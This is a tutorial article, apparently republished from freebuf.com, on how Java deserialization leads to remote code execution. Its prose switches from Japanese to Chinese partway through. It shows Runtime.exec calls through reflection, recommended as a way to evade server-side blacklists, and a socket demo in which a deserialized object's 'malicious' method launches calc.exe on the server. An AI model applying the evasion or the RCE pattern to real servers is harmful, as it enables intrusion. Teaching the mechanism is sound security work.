ホームページ >運用・保守 >安全性 >Javaのデシリアライゼーションに起因するリモートコード実行脆弱性の原理の分析

Javaのデシリアライゼーションに起因するリモートコード実行脆弱性の原理の分析

王林
王林転載
2019-11-30 17:50:382817ブラウズ

Javaのデシリアライゼーションに起因するリモートコード実行脆弱性の原理の分析

主に 3 つの部分で構成されます:

1. Java のリフレクション機構

2. Java のシリアル化処理

3. Java のリモート コード実行

Java のリフレクションとコード実行

まず、Java を使用して電卓プログラムを呼び出す簡単な例を見てみましょう:

import java.io.IOException;
import java.lang.Runtime;
public class Test {
    public static void main(String[] args) {
        Runtime env = Runtime.getRuntime();
        String cmd = "calc.exe";        
    try {
            env.exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

java.lang パッケージから Runtime クラスをインポートし、その getRuntime メソッドを呼び出して Runtime オブジェクトを取得します。このオブジェクトは、JVM 仮想マシンの実行ステータスの処理に使用できます。次に、その exec メソッドを呼び出し、文字列をパラメータとして渡します。

この時点で、ローカル コンピュータ上の電卓プログラムが起動します。

Java のリフレクション メカニズムを使用して上記のコードを書き直してみましょう。 Java のイントロスペクション メカニズムを通じて、コードを動的に呼び出して、サーバー側のブラックリストの処理を回避できます。

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Test {

    public static void main(String[] args) {
        try {
            Class<?> cls = Class.forName("java.lang.Runtime");            
            String cmd = "calc.exe";
            try {
                Method getRuntime = cls.getMethod("getRuntime", new Class[] {});                
                Object runtime = getRuntime.invoke(null);
                Method exec = cls.getMethod("exec", String.class);
                exec.invoke(runtime, cmd);
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            } catch (SecurityException e) {
                e.printStackTrace();
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            } catch (IllegalArgumentException e) {
                e.printStackTrace();
            } catch (InvocationTargetException e) {
                e.printStackTrace();
            }
        } catch (ClassNotFoundException e1) {
            e1.printStackTrace();
        }
    }
}

上記のコードは非常に面倒に見えますが、実際には難しくありません。まず、Class.forName を通じて文字列をパラメータとして渡します。これにより、Class のインスタンスが返されます。その機能は、対応する名前に基づいて対応するクラスを見つけることです。

次に、Class インスタンスの getMethod メソッドを使用して、対応するクラスの getRuntime メソッドを取得します。クラスにはパラメータがないため、null に設定するか、匿名クラスを使用して処理します。

Method getRuntime = cls.getMethod("getRuntime", new Class[] {});

あとは取得したメソッドインスタンスのinvokeメソッドで対応するクラスメソッドを呼び出しますが、パラメータはないのでnullを渡すだけです。同様に、exec メソッドを取得します。

Java シリアル化処理

Java でのシリアル化処理の場合、対応するクラスは Serializable インターフェイスを実装する必要があります。例:

import java.io.Serializable;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class Reader implements Serializable {
    private static final long serialVersionUID = 10L;    
    private void readObject(ObjectInputStream stream) {
        System.out.println("foo...bar...");
    }    public static byte[] serialize(Object obj) {        //序列化对象
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream output = null;        
    try {
            output = new ObjectOutputStream(out);
            output.writeObject(obj);
            output.flush();
            output.close();

        } catch (IOException e) {
            e.printStackTrace();
        }        return out.toByteArray();

    }    public static Object deserialize(byte[] bytes) {        //反序列化处理
        ByteArrayInputStream in = new ByteArrayInputStream(bytes);
        ObjectInputStream input;
        Object obj = null;        
    try {
            input = new ObjectInputStream(in);
            obj = input.readObject();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }        return obj;

    }    
    public static void main(String[] args) {        
    byte[] data = serialize(new Reader()); //对类自身进行序列化
        Object response = deserialize(data);
        System.out.println(response);
    }
}

ここでは、このクラスの readObject メソッドをオーバーライドして、テスト用のオブジェクトを読み取ります。 2 つの最も重要な関数は Serialize と Deserialize で、それぞれシリアル化と逆シリアル化に使用されます。

このうち、serialize メソッドはパラメータとしてオブジェクトを渡す必要があり、その出力結果はバイト配列になります。このクラスでは、オブジェクト出力ストリーム ObjectOutputStream は主に ByteArrayOutputStream のパッケージ化に使用され、次に writeObject メソッドを使用してオブジェクトをそれに書き込みます。最後に、ByteArrayOutputStream インスタンスの toByteArray メソッドを通じてバイト配列を取得します。

デシリアライズ メソッドでは、バイト配列を渡す必要があり、戻り値は Object オブジェクトです。前のシリアライズ関数と同様に、この時点では ByteArrayInputStream を使用してバイト配列を受け取り、次に ObjectInputStream を使用して ByteArrayInputStream をラップし、その readObject メソッドを呼び出して Object オブジェクトを取得して返します。

##このクラスを実行すると、次の結果が得られます:

Javaのデシリアライゼーションに起因するリモートコード実行脆弱性の原理の分析

##Java リモート通信と送信 #Java コードのリモート送信とリモート コード実行を実現するには、RMI、RPC、その他の方法を使用できます。ここでは、サーバー側とクライアント側の処理に Socket を使用します。

最初はサーバー側で、ローカル ポート 8888 をリッスンします。コードは次のとおりです:

import java.net.Socket;
import java.io.IOException;
import java.io.InputStream;
import java.net.ServerSocket;
public class Server {
    public static void main(String[] args) throws ClassNotFoundException {        
    int port = 8888;        
    try {
            ServerSocket server = new ServerSocket(port);
            System.out.println("Server is waiting for connect");
            Socket socket = server.accept();
            InputStream input = socket.getInputStream();            
            byte[] bytes = new byte[1024];
            int length = 0;            
            while((length=input.read(bytes))!=-1) {
                String out = new String(bytes, 0, length, "UTF-8");
                System.out.println(out);
            }
            input.close();
            socket.close();
            server.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

ポートを渡すことで ServerSocket クラスをインスタンス化し、この時点で次に、その accept メソッドを呼び出してクライアントのリクエストを受け取ります。このときソケットオブジェクトを取得し、ソケットオブジェクトのgetInputStreamメソッドで入力ストリームを取得し、長さ1024のバイト配列を指定します。

次に、ソケットの read メソッドを呼び出して指定された長さのバイト シーケンスを読み取り、そのバイト配列を String コンストラクターを通じて文字列に変換して出力します。このようにして、クライアントから送信されたコンテンツを取得します。

クライアントの場合、コードは次のようになります。

import java.io.IOException;
import java.net.Socket;
import java.io.OutputStream;
public class Client {
    public static void main(String[] args) {
        String host = "192.168.1.108";        
        int port = 8888;
        try {
            Socket socket = new Socket(host, port);
            OutputStream output = socket.getOutputStream();
            String message = "Hello,Java Socket Server";
            output.write(message.getBytes("UTF-8"));
            output.close();
            socket.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

クライアントでは、接続する IP アドレスとポートを Socket オブジェクト経由で渡し、それをソケット オブジェクトの getOutputStream メソッド 出力ストリーム。出力をサーバーに送信するために使用されます。これは単なるデモンストレーションであるため、ローカル ホスト IP が使用されます。実際のアプリケーションでは、特定の外部ネットワーク ホストの IP と開いているポートがわかっていて、現在のホストに対応する脆弱性がある場合、同様の方法を使用してこれを実現することもできます。

ここでは、UTF-8 でエンコードされた文字列に送信されるコンテンツを設定します。出力ストリームの write メソッドで、文字列の getBytes を通じてエンコードを指定し、対応するバイト配列に変換します。 . 送信します。

通常の状況では、サーバーを実行してからクライアントを実行すると、サーバー側で次の出力を取得できます。
Server is waiting for connect
Hello,Java Socket Server

Java反序列化与远程代码执行

下面我们通过Java反序列化的问题来实现远程代码执行,为了实现远程代码执行,我们首先在Reader类中添加1个malicious方法,其代码为:

public Object malicious() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
        System.out.println("Hacked the Server...");        
        return this;
    }

在该方法中我们使用之前的介绍调用宿主机器上的计算器程序,然后输出1个相关信息,最后返回当前类。

之后是对服务器端的代码进行如下的修改:

while((length=input.read(bytes))!=-1) {
    Reader obj = (Reader) Reader.deserialize(bytes);
    obj.malicious();
}

我们在接收到客户端对应的字符串后对其进行反序列处理,之后调用某个指定的函数,从而实现远程代码的执行。而在客户端,我们需要对其进行序列化处理:

Reader reader = new Reader();
byte[] bytes = Reader.serialize(reader);
String message = new String(bytes);
output.write(message.getBytes());

下面我们在宿主机器上运行服务器端程序,之后在本地机器上运行客户端程序,当客户端程序执行时,可以看到类似如下的结果:

Javaのデシリアライゼーションに起因するリモートコード実行脆弱性の原理の分析

可以看到,我们成功的在宿主机器上执行了对应的命令执行。

总结

为了实现通过Java的反序列问题来实现远程代码执行的漏洞,我们需要编写1个有恶意代码注入的序列化类。之后在客户端将恶意代码序列化后发送给服务器端,而服务器端需要调用我们期望的方法,从而触发远程代码执行。

为了避免服务器端进行一些安全处理,我们可以采用反射的方式来逃逸其处理。

这里只是1个简化的过程,更加实用的过程可以参考Apache Common Collections的问题导致的Weblogic漏洞CVE-2015-4852及Jboss的漏洞CVE-2015-7501

推荐相关文章教程:web安全教程

以上がJavaのデシリアライゼーションに起因するリモートコード実行脆弱性の原理の分析の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はfreebuf.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。